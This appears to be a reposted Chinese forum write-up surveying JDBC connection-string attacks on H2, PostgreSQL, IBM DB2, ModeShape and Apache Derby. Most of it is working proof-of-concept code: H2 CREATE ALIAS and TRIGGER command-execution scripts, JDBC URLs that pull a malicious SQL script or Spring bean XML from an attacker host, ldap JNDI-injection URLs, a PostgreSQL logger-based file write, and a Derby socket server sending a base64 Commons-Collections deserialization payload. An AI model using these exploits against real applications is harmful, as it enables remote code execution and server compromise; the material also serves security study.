卖不甜枣 发表于 2024-5-17 18:05:20

JDBC数据库汇总Attack研究

前言

针对除Mysql的别的数据库的jdbc attack分析
H2 RCE

先容

H2 是一个用 Java 开发的嵌入式数据库,它自己只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。H2 主要有如下三个用途:

[*]第一个用途,也是最常利用的用途就在于可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。
[*]第二个用途是用于单位测试。启动速率快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。
[*]第三个用途是作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模子必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变革但需要频繁访问的数据,比如字典表、权限表。
搭建

下载:http://www.h2database.com/html/download.html
看说明书搭建就行
INIT RunScript RCE

在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418145753459-78278105.png#height=375&id=R3cwZ&originHeight=725&originWidth=1424&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=736.7142944335938
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}';CALL EXEC('calc')控制JDBC URL为jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql',点击连接,即可弹出计算器,这种方法得需要账号密码精确
Alias Script RCE

假如可以执行恣意H2 SQL的语句,那么也可以完成RCE,其实上述的INIT实质上也就是执行恣意H2的sql语句。而执行语句也有很多讲求。对于上述的INIT需要出网,而我们可以利用加载字节码达到不出网RCE的效果,雷同于SPEL以及OGNL注入内存马。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";}$$;CALL SHELLEXEC('whoami');
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418172951969-811643914.png#id=zIVMM&originHeight=636&originWidth=2191&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
TRIGGER Script RCE

除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce,但是groovy依赖一样平常都是不会有的,所以js是更加通用的选择
// groovy
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

// js
CREATE TRIGGER poc2 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc") $$;TRIGGER没法在INIT处利用
PostgreSQL JDBC RCE

socketFactory/socketFactoryArg RCE

环境搭建

<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
      String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
      String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
      Connection connection = DriverManager.getConnection(jdbcUrl);
      connection.close();
    }
}<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" >
    <constructor-arg value="calc.exe" />
    <property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>postgresql数据库自己搭建,运行代码即可弹出计算器
调用流程

一张图概括postgres jdbc攻击流程(先知社区的引用一下,如有侵权联系博主删除
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418180930494-1594979870.png#id=UKEyq&originHeight=755&originWidth=1282&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
在psql的jdbc初始化的时候会读取jdbc链接里的某些参数,并且进行一些利用,断点调试,跟着图中流程走
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418182627517-1557323262.png#id=zPP8T&originHeight=608&originWidth=1656&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418182731460-1776713557.png#id=ijj39&originHeight=425&originWidth=1473&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入makeConnection,过,到这
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418182828636-286447670.png#id=hCS7J&originHeight=307&originWidth=1298&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入openConnection
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418182914703-1382006685.png#id=stRsb&originHeight=538&originWidth=1679&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入openConnectionImpl
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418183006770-371358377.png#id=jGoPj&originHeight=659&originWidth=1630&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入getSocketFactory,注意这个传入的info就是上面的props
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418183149160-630107595.png#id=KGKIy&originHeight=650&originWidth=1608&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这里开始从info中获取信息,先获取的socketFactoryClassName然后进入instantiate
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418183334391-84279919.png#id=rYdZM&originHeight=850&originWidth=1410&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
实例化org.springframework.context.support.ClassPathXmlApplicationContext,传入的args是http://127.0.0.1:8888/bean.xml,实例化我们自界说的bean,造成了rce
sslfactory/sslfactoryarg RCE

跟上面流程差不多,不过这里得注意postgresql数据库得开启ssl,配置文件里设置ssl=on
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418191423495-1544050164.png#id=ynFXm&originHeight=898&originWidth=1838&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
      String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
      String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
//      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
      Connection connection = DriverManager.getConnection(jdbcUrl);
      connection.close();
    }
}loggerLevel/loggerFile 恣意文件写入

https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418191626400-2118023774.png#id=U4DWQ&originHeight=965&originWidth=1744&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
//      String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
//      String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
////      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
//      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
//      Connection connection = DriverManager.getConnection(jdbcUrl);
//      connection.close();
      String loggerLevel = "debug";
      String loggerFile = "test.txt";
      String shellContent="test";
      String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
      Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}可以实现跨目录写文件
IBM DB2 JDBC JNDI RCE

环境搭建

<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>11.5.0.0</version>
</dependency>docker拉个DB2数据库
docker pull ibmoms/db2express-c
docker run -itd --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmoms/db2express-c db2start
package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class DB2JDBCRCE {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
      Class.forName("com.ibm.db2.jcc.DB2Driver");
      DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1099/evil;");
    }
}调试流程

颠末一系列不知道什么的东西,终极定位到com.ibm.db2.jcc.am
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418201633789-1107974364.png#id=wZZxY&originHeight=235&originWidth=1012&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
达到jndi的效果
ModeShape JDBC JNDI RCE

先容

ModeShape是一个分层的、事务性的、一致的数据存储库,支持查询、全文搜刮、事件、版本控制、引用和灵活的动态模式。它非常快,高可用性,高度可伸缩,并且是100%开源的,用Java编写的。客户端利用(JSR-283)标准的Java API或者ModeShape的Rest API,可以通过JDBC和SQL查询内容。
环境搭建

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-jdbc</artifactId>
    <version>5.4.1.Final</version>
</dependency>

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-common</artifactId>
    <version>5.4.1.Final</version>
</dependency>package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class modeshapJNDI {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
      Class.forName("org.modeshape.jdbc.LocalJcrDriver");
      DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1099/evil");
    }
}流程分析

https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418202629716-343950196.png#id=thguZ&originHeight=335&originWidth=1637&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入createConnection
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418202709848-1117261526.png#id=papMX&originHeight=255&originWidth=1611&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入initRepository,触发lookup
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418202838788-925090574.png#id=SUxCa&originHeight=869&originWidth=1707&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
Apache Derby

环境搭建

<dependency>
    <groupId>org.apache.derby</groupId>
    <artifactId>derby</artifactId>
    <version>10.10.1.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>攻击流程

准备一个恶意Socket服务端
package com.ctf;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class EvilServer {
    public static void main(String[] args) throws IOException, InterruptedException {
      int port = 4851;
      ServerSocket server = new ServerSocket(port);
      Socket socket = server.accept();
      // CC6
      String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==";
      byte[] decode = Base64.getDecoder().decode(evil);
      // 直接向 socket 中写入
      socket.getOutputStream().write(decode);
      socket.getOutputStream().flush();
      Thread.sleep(TimeUnit.SECONDS.toMillis(5));
      socket.close();
      server.close();
    }
}package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class demo {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
      Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
//      DriverManager.getConnection("jdbc:derby:dbname;create=true");
      DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
    }
}这里先执行create=true,然后在执行下面这句,可以弹计算器
ReplicationMessageTransmit下的readMessage方法会对socket连接拿到的数据直接进行反序列化
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418204554458-480006132.png#id=onN5C&originHeight=248&originWidth=1488&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240418204616057-477526023.png#id=wMYkJ&originHeight=202&originWidth=1195&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: JDBC数据库汇总Attack研究